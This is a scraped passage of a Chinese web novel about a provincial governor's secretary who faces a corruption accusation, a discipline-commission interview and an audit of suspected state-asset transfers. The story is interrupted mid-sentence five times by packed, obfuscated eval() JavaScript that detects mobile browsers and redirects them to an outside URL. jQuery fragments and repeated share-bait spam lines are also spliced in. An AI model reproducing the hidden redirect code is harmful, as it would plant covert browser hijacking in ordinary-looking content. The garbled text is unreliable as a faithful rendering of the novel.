这都算问题的话那么在座的所有人就没有干净的。 “铁生同志有话就说清楚到底是在座的哪位同志如此不堪?”孟良德目光环视一圈从几位副省长脸上一一扫过。 有些人下意识在接触到孟良德目光时会回避。 徐铁生所言基本适配于在座的每一位同志。 所以当他说这话时不仅李承紧张了其余人也同样紧张。 “既然您问了那我就直说了我说的不是别人就是您的身边人李秘书。” 听到徐铁生是针对李承不少人也松了一口气纷纷将目光投向李承。 孟良德也是眉头一皱。 他想过很多人唯独没想到是李承。 在他眼里李承是一个‘洁身自好’的人不该被抓住把柄。 “那你说说李秘书都做了什么违法乱纪的事情?”孟良德看向徐铁生眼神阴沉地问。 他的第一想法不是怪罪李承。 徐铁生身为一个常务副省长不至于跟一个小秘书计较。 说到底徐铁生针对的还是他孟良德! “谈不上违法乱纪。” 孟良德用了‘违法乱纪’这个词这让徐铁生略显尴尬。 李承的问题说到底并没有多么严重。 “据听说李秘书跟牡丹会的老板陈锋关系密切李秘书女朋友父母来到汉江从吃喝到住宿旅游全程都是陈锋安排。 前两天我的秘书小钱还看到有个女人给李承送了一套名牌衣服就放在了省政府的门卫。” 徐铁生把李承的问题公布出来。 秦海还担任秘书长的时候他们就在找李承的问题只不过李承很干净让人挑不出什么破绽。 这两件事是他唯一能搬出来谈的 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 了。 “李秘书,可有此事?” 孟良德回头看向李承,问。 “有。” 李承点头,事情真实发生,由不得他不认:“只是,其中消息不全,可能徐常务对我有误会。” “那你说说什么误会。”孟良德还是相信自己的秘书,他要给李承一个证明的机会。 “首先,我女朋友父母来汉江,全程是在陈锋的企业招待不假,陈锋也安排人陪同出游。 但所有的花销,都是我在承担,我这里有发票和付款记录,徐常务若是不相信的话,可以让纪委去查。” 李承先是解释清楚陈锋的问题后,继续道:“至于送衣服的女人” 提到顾澜,李承略微迟疑了。 虽说,顾澜对他有想法,但也被他拒绝了,两个人的关系,还维持在受害者家属和公职人员的层面。 只不过,去顾澜家里调查情况,超出了李承的工作范畴,有可能被拿出来做文章。 可徐铁生的针对太突然了,李承一时间没有想到什么好的借口,只好坦白讲。 “这个女人是前段时间****案的受害者家属,受害者是遇难前,曾联系过我送举报材料。 结果当晚他就遇难了,后来他妻子也找到了我,说还有残存材料想送到我手里。 我去的时候,她因为思念亡夫喝醉了,起身时险些摔倒,我去扶她时,她吐了我一身。 因为歉意,她说要赔我一套衣服,我拒绝了她,所以她才放在了门卫。” 李承一五一十地讲清楚情况。 “**由**机关负责,为什么她会选择将材料送到你手里?”马康抓住问题关键,进行询问。 “她的举报材料是关于市检察院党组**赵金福,受害者是先去的**局。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138643|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们一共准备了三份举报材料,还有两份准备送给纪委和省政府,恰巧当时我在**局,我们就取得了联系。 这一点,**局的廖局长可以为我作证。”李承说得有理有据。 至于当时李承为何要去**局,没人会问。 这属于秘书的工作范畴。 “身为省长秘书,与商人关系密切,这本身就是问题,等出现实质性的贪腐,那就晚了。” 徐铁生轻笑一声,目光看向孟良德:“孟省长,您说呢?” 他再次把问题踢到了孟良德那里。 **的官员,往往都是从几次普普通通的饭局开始。 **结,也都是 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 从普通朋友做起的。 如果孟良德纵容这种行为,包庇李承,那么,他一直提倡地从根源上反腐,就成为了一种笑话。 既是目前李承没有出现**行为,可这种行为,在一些人看来,已经有了苗头。 看着徐铁生的步步紧逼,李承心里问候了他的祖宗十八代。 他心中腹诽:你个大尾巴狼装什么清廉,查起来,你的问题会少? 可他人微言轻,在这种会议上,除了刚才孟良德让他解释之外,他连开口的资格都没有。 “这样,既然大家对李秘书有异议,那就请纪委的同志,对李秘书的进行一次调查。” 孟良德认真地说:“面对有存疑的同志,就要调查到底,这是基本原则! 别说是李秘书,就算是大家对我有异议,我也会愿意接受组织的调查!” 他主张纪委调查,并非不信任李承。 相反,这是对李承的一种庇护。 他在用一种转移概念的方式,将徐铁生提出的构想式贪腐,转移回实质性问题。 也是在阐明他对于查处贪腐的严肃态度! 他要用最直观的方式,证明李承的清白。 “孟省长,我们谈论的问题,是这种行为,而非是否有实质性的违纪。” 第244章 自相矛盾 “您可是一直提倡,要将**扼杀在摇篮中,我今天提出这个问题,不是针对李秘书个人。 而是想问清楚,这个摇篮,到底是什么? 徐铁生不肯作罢,再次发起进攻。 到了这种情况,他就不能妥协,妥协既是落败。 会更加显得他在针对李承,甚至是针对孟良德本人。 看着徐铁生的步步紧逼,坐在孟良德身后的李承,表情愈发严肃。 他不担心纪委的调查,他从参加工作至今,从来没有过任何****,以权谋私的行为。 他非常爱惜自己这身羽毛。 只是他没想到,那两个小问题,居然也值得被一位常务副省长放在这种会议上提出。 李承不敢想,若是自己曾经有一个念头出现偏差,走错了路,占了小便宜,今天会是什么结果! “纪律是有红线的,任何概念,不能凌驾于纪律之上。孟良德沉着脸,说。 他这番话,隐有为了保护李承而自相矛盾的意思。 因为,李承还没有触碰到纪律的红线。 却已经属于‘摇篮概念’中的一员。 “触碰到了红线,产生了实质性的行为,那还叫摇篮吗?徐铁生云淡风轻地笑着。 “摇篮,是指触碰红线,却没有发生重大问题的人,要及时扼杀。 **问题,向来是从小及大,一步步的演化过程!孟良德严肃地说。 “嗯。 徐铁生意味深长地笑了笑,不再继续。 在这次的针锋相对中,他已经占了上风,达到了他想要的效果,继续下去也得不到好处。 “没其他问题,那我们继续开会! 会议结束。 李承和孟良德回到办公室。 “省长,我和陈锋 李承想跟孟良德解释他和陈锋的关系。 他很清楚,自己这位老板,最反感非必要情况下,与商人的密切联系。 而陈锋给他的准岳父母安排吃喝住行,已经超过了孟良德的心理红线。 “不用解释。 孟良德抬手打断李承:“我只问你一点,你有没有跟陈锋金钱上的往来。 “没有。李承认真道。 “嗯,那就让纪委去查。 孟良德对自己这位秘书是信任的。 但他也怕出现万一。 李承若是真被查出了问题,他的脸面也跟着受损。 “好。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 李承点头答应。 他的情绪不高,眼神中带着些许的亏欠。 在会议上,孟良德一直是在偏袒他。 而他,也的确给孟良德添了麻烦。 “你也不用自责,他是冲着我来的。”孟良德点燃了一根香烟,宽慰了李承一句。 “谢谢省长。”李承感激地道。 在这个阶段,孟良德没有责怪,而是一句安慰,让李承发自内心的感激。 许梦父母是明天上午的飞机。 今晚,许梦特意申请的休息,和李承一起给崔红丹和许强举行送别宴。 崔红丹对于汉江的铁锅炖大鹅情有独钟,晚餐还是上次李承请他们两位和陈锋的饭店。 饭桌上,他们一家三口说说笑笑,李承属于是强颜欢笑的陪着。 下午这场会议后,李承的心情很糟糕。 “时间过得真快,你们明天就要回去了,唉.” 许梦恋恋不舍地看着父母,她一个人在这边工作,也需要家人的温暖。 “李承是个不错的孩子,有他陪你,我和你爸也就放心啦,家里还有一堆事呢。”崔红丹说。 她们这次来,就是想见见李承这个人。 她们老两口与许梦相隔上千公里,担心自己的宝贝女儿受委屈。 经过这些天的相处,他们了解了李承的为人,也就放心了。 “你妈呀,是不放心豆豆,呵呵”许强笑呵呵的道。 “红梅粗心大意的,我都担心她给豆豆养**。” 豆豆是崔红丹养的小狗,也是崔红丹的心头肉。 在那个家,豆豆的地位甚至比许强还要高。 “有了豆豆,忘了闺女呗。”许梦轻哼一声,把头扭到一边。 ‘我的爱如潮水,爱如潮水将我向你推.’ 一家人聊天之际,李承的手机响了起来。 他拿出电话,是一个陌生号码。 “我去接个电话。” 李承交代一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138644|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,起身出了包厢。 “喂。”李承接通电话。 “李秘书您好,我是**监察室的副主任,我叫孙有为,给您打电话是想向您了解些情况。” 对方自我介绍,说。 “哦,孙主任您说。” 下午会议上,孟良德提出让纪委去查证李承的清白。 对于这通电话,李承是有准备的。 “关于您与牡丹会老板陈锋的问题,我们想向您了解一下具体情况,您在什 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 么位置,方便的话,我们过去一趟。” 孙有为态度客气地说。 他这个部门副主任,给其他官员打电话,绝对能吓破对方的胆。 可对待李承这位省长秘书,他还是要客气的。 因为孙有为清楚,查李承只是走个过程。 而选择在这个时间打电话,也是怕工作时间耽误李承的正常办公,会对李承有不好影响。 “晚一点,我去找纪委找你们吧。”李承说。 “那行,到了您打我这个电话。” “好。” 挂断电话,李承回到包厢。 “怎么了?”许梦问。 “没什么,工作上的电话,不要紧。”李承微笑摇了摇头,说。 “哦,那就好。” 饭局结束,李承和许梦送他们回到酒店。 许梦要陪父母聊会天,李承以工作为由,先行离开。 出了酒店,他开车赶往了省纪委。 孙有为很客气,特意下楼接的李承。 两个人的谈话很简单,李承向对方说明了事情的来龙去脉。 并将付款记录,聊天记录,以及陈锋开的发票,全部传给了孙有为。 当初,李承就怕有朝一日出现这种情况,坚持付款。 这种不贪图小便宜的廉政行为,在今天帮了他大忙。 “李秘书,感谢您的配合。” 作为笔录后,孙有为起身向李承伸出手。 “给你添麻烦了。” 李承握了握他的手,告辞离开:“那我先回去了,有其他需要配合的地方,随时打我电话。” “好的李秘书。” 第245章 紧急情况 回到酒店。 李承上楼跟崔红丹和许强聊了会天,临近十一点才与许梦回家。 “你今天怎么了?从下班后就一副心事重重的样子。” 两个人在一起这么久,尽管李承伪装了自己的情绪,许梦还是能感受出来。 “没什么。” 李承没有选择告诉许梦。 他被纪委调查,本身就不是光彩的事情,告诉给许梦,她除了平添担忧外,也帮不上什么忙。 而且,这件事的起因,还与崔红丹和许强的到来有关。 李承担心许梦知情后,会内疚。 “你是不是遇到什么麻烦了?”许梦坐在李承身边,表情严肃地问。 女人的直觉告诉她,这件事超出了日常工作。 “真的没什么,我就是有点累了,放心吧。”李承伸手将许梦搂在怀里。 “哦,好吧。” 李承不说,她也不好再追问:“遇到什么事情,我愿意陪你一起解决,没关系的,我会陪着你。” “嗯,知道了,别担心。” 李承闭上眼睛,身体靠在沙发上,享受着每日稀缺的放松时光。 自从当了省长秘书,只有在睡觉前的那一会儿,他紧绷的神经才得到放松。 “我姨妈结束了.” 许梦的红唇凑到李承耳边,声音里带着柔情。 听到这个消息,李承睁开眼睛,将许梦从沙发上抱了起来:“那还等什么!” 一阵翻云覆雨后,李承抱着许梦光滑的身躯,沉沉地睡去。 ‘我的爱如潮水,爱如潮水’ 李承刚入睡,正处于梦境中时,手机铃声将他惊醒。 睡前,李承为了不耽误突发工作,都会将手机调至最大音量。 他最怕的,就是这种夜间电话。 往往半夜打来的,都是突发性事件! “吓死我了。” 许梦也被铃声惊醒,额头甚至流出了冷汗。 “别怕,你继续睡,我接个电话。” 李承安慰她一句,在看清楚电话号码后,拿起手机出了房间。 “冯市长。” 李承接通电话,这是滨西市打来的。 “李秘书,有件事我要跟孟省长汇报。”冯坤语气沉重,沉吟着说。 “嗯,您说。”李承皱着眉头,道。 “白邱赫逃了,去了京城。” 白邱赫扬言要**,为了避免他**,引发不良影响,市里一直派 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 专人盯着他。 可就在前天晚上,白邱赫消失了。 市里去到白邱赫的住所,发现空无一人。 他们定位了白邱赫的手机,手机被他留在了家里。 查找了他的订票记录,以及周边监控录像,都没有发现白邱赫的行踪。 市里经过一天一夜的调查,最终在白邱赫女朋友的口中得知了消息,白邱赫去了京城。 他们得知消息时,距离白邱赫出发已经过去了两天的时间。 冯坤知道,这件事瞒不住了,所以才在得知消息的第一时间,打来电话。 “什么?他不是一直在你们监视中吗?”李承眉头皱得更深。 滨西重大矿难,死伤惨重,京城那边已经收到了消息,还打电话问责过孟良德。 当时孟良德接到京城那通电话,李承就在旁边。 他知道,孟良德非常重视这件事,也一直在压着这件事。 可最担心的事情还是发生了。 “是花海集团的人将他接走了,他们准备很充足,这才逃过了我们的监视。” 冯坤严肃地说。 “什么时间出发的?”李承问。 时间很重要,若是刚消失没多久,或许还有半路截停的可能。 “前天晚上!”冯坤说。 “我知道了,冯市长,这件事我会跟省长汇报。” 李承心里非常想要质问冯坤一句:为什么不第一时间上报? 可他只是秘书,并没有资格用这种语气去质问一位市长。 挂断电话,李承立刻穿好衣服,他要去一趟迎宾馆。 白邱赫已经消失了将近五十个小时。 按照路程推算,即便是走国道,不上高速,他大概率也已经到达了京城。 事关重大,刻不容缓。 “你先睡吧,我要去见一下老板。”李承换好衣服,回到卧室对许梦说。 “嗯,好。” 许梦知道发生了什么紧急情况,也没多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138645|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,只是叮嘱一句:“路上注意安全。” 李承开着车,以最快速度来到迎宾馆。 敲响了房门。 娇娇的保姆间就是门口,为了第一时间接应客人。 “李秘书。” 房门打开,娇娇将李承请进了客厅。 “老板睡下了吗?”李承问。 “睡下了。”娇娇点头。 “我有紧急的事情需要向他汇报。”李承说。 “好,那我去叫一 你的朋友正在书荒,快去帮帮他吧 下老板。” 娇娇知道,李承是一个有分寸的人,若非特别紧急的事情发生,绝不可能这么晚打扰孟良德休息。 李承没有坐,就站在客厅里等。 大概三分钟后,孟良德穿着一身睡衣,出现在李承面前。 “老板,滨西矿难的遇难者家属,在花海集团的暗中支持下,于前天晚上去了京城。”李承汇报道。 他简短的一句话,将主要信息全部概况。 “前天晚上出发,滨西市怎么今天才上报?”孟良德严肃地问。 “冯市长一直在调查,确认消息后,第一时间就打来了电话。”李承替冯坤开脱了一句。 他对冯坤的印象不错。 李承第一次去滨西,在饭局上遭到了冷落,是冯坤主动上前搭话敬酒,这件事他始终记得。 “两天时间过去了,他才确认消息,他干什么吃的!”孟良德恼怒地说。 其他**群众,孟良德都不在意。 但滨西矿难不同,上面虽有人在帮他压事,却也有人等着拿这件事做文章。 这件事处理不好,对孟良德在东江的去留有影响,这才是他愤怒的原因。 “主要是花海集团干预了。”李承轻声说。 若单单是普通的群众**,白邱赫根本出不了滨西市。 但在花海集团的干涉下,帮助白邱赫逃过市里的监视,不是一件难事。 “现在调动省内的**力量,已经来不及了。” 孟良德拿起茶几上的香烟,点燃了一根。 他打开窗户,夜晚的凉风顺着缝隙钻入,也让他的头脑清醒了几分。 静静地吸完这根香烟后,他拿起手机,拨通了一个号码. 第246章 被动 孟良德采取了行动可他已经处于被动的一方。 在周公子的运作下白邱赫一行人最终还是达成了**的目的。 周三下午孟良德接到了京城方面的通知要求他回京参会。 作为专职秘书正常京城的会议李承也会陪同回京。 但这次孟良德是一个人回去的。 他开的会议不仅仅是与上层的面谈也有家庭会议。 在那种权力世家中有时候家里的闭门会议更重要。 省长出差李承的工作也就闲暇了下来。 往常他还需要主持一下综合一处的工作 工作虽然清闲了但李承的心情始终是悬着的。 他怕因为这次**事件孟良德被调任回京那么他的何去何从将成为难题。 为了不让自己多想李承开始审阅资料让自己忙碌起来。 “李秘书忙着呢?” 新任综合一处处长陈墨笑盈盈地走了进来。 “嗯怎么了陈处长?” 李承抬起头眼神中带着些许的不满。 在陈墨未上任处长之前他见到李承都是一口一个李处长喊着。 如今却换了称呼。 李承不是一个喜欢挑理的人但陈墨这种态度转变就给人一种小人得志的感觉。 “没什么事就是通知你一下下午三点我要给综合一处开个会你得来参加。” 陈墨坐在沙发上翘起二郎腿说。 换做以前他当了综合处长也不敢在李承面前如此这般只是他听闻到孟省长准备调任回京。 这才有恃无恐起来。 “需要协调工作吗?”李承问。 “内部例会。”陈墨道。 “哦看我时间吧。” 李承没有答应用了一句漫不经心的回复表明了他的态度。 意思也很简单。 他李承是省长的专职秘书只是挂职在综合一处你综合一处的处长管不到我头上。 去不去参会不是你陈墨说得算而是我李承愿不愿意赏脸。 “李秘书你也是综合一处的一员呀。”陈墨对于李承毫不给面子的话感到不满。 他强调李承是综合一处的一员就是侧面地说李承归他这位处长管。 “呵呵.” 闻言李承不屑地轻笑一声: 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “那我也就明确的告诉你,没有工作协调的情况下,我不去!” 协调工作,是综合一处和省长的工作对接,这种会议需要参加。 普普通通的例会,去是赏脸,不去也无所谓。 “行。” 陈墨重重一点头,起身离开了秘书间。 看着他离去的背影,李承眼神阴沉。 孟良德被调任的消息才刚刚传出去,这群人就急着压他一头,太操之过急了吧! 下午四点。 李承收到了审计厅副厅长王前的消息。 【李处长,晚上有时间吗?一起吃个饭,有些工作上的问题,想跟你探讨探讨。】 在审计金河集团时,王前见识过李承的工作能力。 他能做副厅长,工作能力是一方面,更多的资历,以及管理能力。 在专业程度上,他自认为不如李承。 审计工作又是孟良德主抓,他与李承探讨,也属于工作交流。 【有时间,今晚我安排,我订到位置发你。】李承回道。 上次两个人吃饭,就是王前请客,总要礼尚往来。 【我向你请教,怎么能用你安排呢?你就别跟我客气了。】王前回复。 【朋友间喝酒聊天,谈不上请教,我来订。】李承坚持道。 【那好。】 见李承一再坚持,王前也不再客套。 李承请他吃饭,一来,是礼尚往来的人情。 二来,也是维护关系。 如果孟良德真的回京任职,这些人脉,都将成为他未来的重要资源。 李承是副处级干部,因为是省长专职秘书,他才有资格跟这些厅局级领导谈笑风生。 东江省数千位副处级干部里,多数见到王前这个级别的领导,都要点头哈腰,阿谀奉承地去结交。 孟良德若是走了,李承也将沦为这数千副处干部中的多数人。 ‘咚咚咚’ 李承刚收起手机,办公室的门便被敲响。 李薇儿挺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138646|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她那傲人的胸脯,凑到李承面前。 “李处长,刚才你怎么不去开会呀?”李薇儿笑眯眯地低声李承,问。 “一个例会而已,不想去。”李承直接说。 她不怕李薇儿把这话传到陈墨耳朵里。 即便是孟良德真调任了,他一个小小综合一处的处长,也给李承造成不了什么麻烦。 何况,李承的背后还有杨兆华这位秘书长。 李薇儿回头看 听说看这本书的人都是很幸运的,分享后你的运气会更棒 了一眼门口,确认无人后,压低声音说:“你刚才是没看到,陈墨在会议上那叫一个威风。 以前的张处长,也没像他那个样呀,还含沙射影地暗指你呢。” “暗指我什么?”李承眉头轻皱。 “大概的意思就是说你工作不积极,不合群啥的。”李薇儿道。 “哦。” 不管李薇儿这话是真是假,李承也懒得去跟陈墨计较。 对于这种人,无视才是对他最大的反击。 搭理他,反而他还会觉得自己是个人物。 “反正我不管谁当了处长,在我心里,李处长永远都是我心中的第一处长。” 李薇儿恭维着。 “嗯。”李承点了点头,没有多说。 李承心里早已将李薇儿跟陈思琪归为同一货色,恭维自己,也是带着目的性的。 “李处长,晚上我想请您吃个饭,能不能赏个脸呀?”李薇儿问。 “我约了其他朋友,不太方便。”李承婉拒。 “那好吧。” 李薇儿‘哦’了一声,她略微迟疑片刻,身体又往李承身边凑了凑:“那个.我上次跟您提到了岗位调动问题,您还记得吗?” “现在综合一处是陈墨在管,我想帮你,也帮不到了。” 李承就知道,李薇儿过来是有目的的。 上次她提出调动一下工作岗位,李承就一直拖着,在他看来,李薇儿的专业素质不过关,当不了综合一处的‘笔杆子’。 “那好吧。” 李薇儿无奈地应了一声,起身离开。 她知道,李承不是帮不到,只是不想帮! 第247章 资产转移 隐厨,包厢中。 李承与王前相对而坐。 招待这位审计厅副厅长,李承特意拿出了家中的一瓶上等红酒。 “这红酒味道不错,李处长,好品味呀。王前细细品味了一下红酒,称赞道。 他对红酒是很挑剔的,算是一个‘老喝家’了。 “朋友送的,他说是好红酒,我也不懂,我在网上也搜不到。李承也端起酒杯,品了一口。 这酒是汪浩轩带给他的,汪浩轩说是他去国外旅游背回来的。 李承去网购平台搜过,没有这个品牌。 但他和许梦喝过一瓶,以他的品味觉得很不错。 “虽然我没见过这个牌子,口感真心不错,你那个朋友很会送东西嘛,呵呵呵 王前笑呵呵地说:“你帮我问问他在哪买的,我也想买几瓶留着招待客人。 酒的品质够高,品牌小众。 最重要的一点是,国内没有进口,价格让人琢磨不透,宴请一些贵客领导时,也就不用在意对方会不会认为招待超标。 这也是为何,王前说汪浩轩很会送东西。 在他们这些官员们的看中,品质高,没有价格定位的东西,就是奢侈品。 “我问过他,他是在法国旅游时买的,具体也记不清了。李承编造了一个理由。 汪浩轩已经进了监狱,李承总不能为了帮王前打听渠道,去监狱里询问。 “好吧。 王前端起酒杯,与李承轻碰一下,开始今天的酒宴。 两个人的话题,主要围绕的是工作。 王前不是一个愿意弯弯绕绕的人,直接说出了他当下遇到的难题:“我怀疑,华天精工集团,存在国有资产转移的情况。 他们去年一共定增了两次,年初一月份再次公告定增,通过混改,引入三家私募入场。 华天精工一直以来都是汉江的优质企业,去年四月份却出现了严重的业绩暴雷,大量海外投资亏损。 但经过我们的审计,并没有查出问题,就是正常的投资失败,我觉得里面一定有猫腻。 华天精工这家企业,李承还是了解的,他在审计局工作这么多年,他也打过交道。 公司财务一直良好,优质资产很多,而且,向来的重心是研发产品,扩展业务。 没听说过,有大量的海外投资。 “啧华天精工这家企业不该出现这种问题,赵董事长,很稳健的企业家呀。李承皱眉道。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 李承对华天精工的董事长赵丙燃有所了解他还曾跟杨兆华一起参与过赵并燃一场宴请。 这位老企业家实打实的实干派。 “赵丙燃董事长前年冬天突发脑溢血去世了现在公司由他的长女赵允管理这些情况都是赵允上任后发生的。”王前解释说。 “哦这么回事呀。” 赵丙燃去世的消息李承还是刚刚听说。 公司换了掌舵人因为经营理念不同和新**人能力不足等原因导致公司下滑的情况比比皆是不足为奇。 “王厅长您现在是怀疑赵允在通过定增的方式稀释国资股份对吗?”李承再次确定道。 “对。” 定增就是在引入外部资金稀释股权。 王前对于赵允的定增行为是保持怀疑态度。 他想了解清楚赵允的定增究竟是公司面临困境的救市行为还是在吸纳国资股份。 从审计报表中王前的团队没有查出问题可他总觉得有问题特意来找李承交流交流。 “我需要看审计数据光听您说这个没办法确定。”李承抿了一口红酒道。 “报表我手机里有我发你。” 王前说着拿起手机准备将华天精工的审计报告发送给李承。 “嗯。” 李承也拿出手机打开王前从微信发来的报表。 报表言简意赅上面的数据都是统计过的。 李承大致扫了一眼将问题确定在海外投资上后他说:“海外投资这里的数据我要详细的。” “我晚点回一趟单位 一个市值近百亿的上市公司若是出现财产转移吸纳国有股份的后果很严重。 这对东江省是巨大损失也将是审计厅的严重失职。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138647|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对此王前不敢马虎。 他这个年纪还想再上一步的话就不能再出现重大失误。 若是赵允达到了对华天精工的绝对控股到时候这个黑锅王前是要背一部分的。 那样的话他这辈子的仕途基本也就止步在副厅级了。 “好我等你。” 这顿饭草草结束后李承回到了家。 洗了个澡等了半个小时左右王前的数据传了过来。 李承拿出笔记本电脑开始认真地核查。 李承在对待工作基本是废寝忘食中途许梦下班回家他也只是简单打了个招呼就凉 听说看这本书的人都是很幸运的,分享后你的运气会更棒 在一边。 这一忙,就忙碌到了凌晨。 需要核实的数据太多,华天精工如果**,也一定是有专业团队伪造过的,想要查,需要很大的精力和专业素养来查破绽。 直到凌晨四点,李承才合上了电脑。 他给王前发去一条微信:“王厅长,我建议查一下这些定增的私募背景。” 完事后,他才洗漱一番,回到了房间休息。 “结束工作了?” 刚躺下,被窝里传来许梦了询问声。 “怎么还没睡?”李承将她抱在怀里。 “你不在我身边,睡不着。”许梦伸手抚摸着李承的后背,说。 “快睡吧。” “嗯。” 因为孟良德不在东江,李承可以多睡半个小时。 醒来后,他小心翼翼地抽出自己被许梦枕到发麻的胳膊,看了一眼手机。 上面有两条王前回的消息。 【李处长,辛苦你了,忙到这么晚。】 【怎么样?有发现异常吗?】 一句寒暄,一句询问。 李承打开了一个哈欠,回复了他:【目前没有。】 他审计了一晚上的数据,数据波动告诉他,这些交易中有不正当举动。 可从理论上说,并没有什么问题。 顶多算是华天精工的投资水平差,但不能算作是恶意亏损,**交易。 第248章 孟良德的询问 周一,下午。 孟良德抵达了东江省。 再次见到这位老板,李承心里很是高兴。 有一种一日不见如隔三秋的感觉,尤其是关于孟良德要被调任回京的消息传开后,李承更加盼望孟良德的回归。 “老板,事情解决了吗?” 从机场回到省长办公室后,李承忍不住地询问。 他担心,滨西矿难的**群众事件,可能会成为压倒孟良德调任的最后一根稻草! “嗯,群众已经被滨西市接回去了。”孟良德沉着脸说。 “那就好。” 李承微微点头,再次开口试探:“现在政府内部传出一种声音,说您要因为这件事,被调任回京。 现在您回来了,这些谣言就是不攻自破了。” 孟良德没有第一时间回答李承,他走到沙发上坐下后,对李承招了招手:“小李,你也坐。” “好。” 李承坐在孟良德的侧边,身体笔直。 孟良德从口袋里拿出烟盒,递给一根给李承。 “谢谢省长。” 老板递烟,李承当然要接。 在接过香烟后,李承立马拿出火机,给孟良德点烟。 孟良德吸了一口烟,身体倚靠在沙发上,这几天回京,让他十分疲惫。 “小李,如果传言是真的,你有什么打算?” 孟良德认真地看向李承,问:“有没有想去的部门,是想下调到各市县,还是留在汉江。” 听到这个询问,李承心里‘咯噔’一声。 莫非孟良德他真的要调任回京了 “我全听省长安排。” 李承与他目光对视,吞咽了一下口水,说。 其实,李承也想过后续问题。 他个人更倾向于留在汉江。 第一,汉江是省会城市,是东江省的权力核心,只要不是被调到‘清水衙门’,晋升空间大。 而且,他积累了一些人脉,也都在汉江。 虽说,李承跟在孟良德身边当秘书,暗中不少人看不惯他。 可那些人,看不惯他的原因,主要是因为孟良德。 孟良德走了,调任回京了,对他们不会再构成威胁,他们未必会对一个副处级的李承动手。 毕竟,孟良德只是调任,又不是卸职,影响力和权力还在。 针对一个小小的副处级,而得罪一位京城要员,那些人不傻。 唯一跟李承有仇怨的,只有赵金 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 福,可赵金福已经**掉了。 除了为自己的仕途发展考虑外,还有一点是因为许梦的工作在汉江,李承不想让她辞去这么好的工作,更不想与她分隔两地。 可这些打算,李承不能跟孟良德讲。 “嗯。 孟良德点了下头,不再谈论这个话题。 可刚才的对话,却像是一颗**埋在李承的心里,让他惶惶不安。 ‘咚咚咚’ 这时,门外传来了敲门声。 听到有人来,李承掐灭香烟,连忙站起身。 “进。 在得到孟良德的许可,房门被推开,审计厅厅长周向阳走了进来。 “孟省长,有一件事需要向您汇报。 周向阳是突然来访,手里还拎着一个沉甸甸的公文包。 “坐下说。孟良德道。 周向阳坐下后,拉开了公文包,将一沓厚厚的文件搬了出来。 “据我们调查,省属上市企业,华天精工董事长赵允,正在通过合规的股权操作手段,暗中挪动国有资产,稀释国资股权。 他们全程走的正规流程,资料齐全,从表面上看没有半点的违规行为,可已经在逐步架空国资的掌控权。 周向阳面露担忧之色。 事关重大,他只能上报给孟良德,由孟良德做决定。 毕竟,他们审计厅只负责审计工作。 如果要开启对华天精工的股权拦截,需要多方部门联动。 听完周向阳的汇报,孟良德眉头皱紧,他问:“具体怎么操作,走到了哪一步,国资控股还有多少? 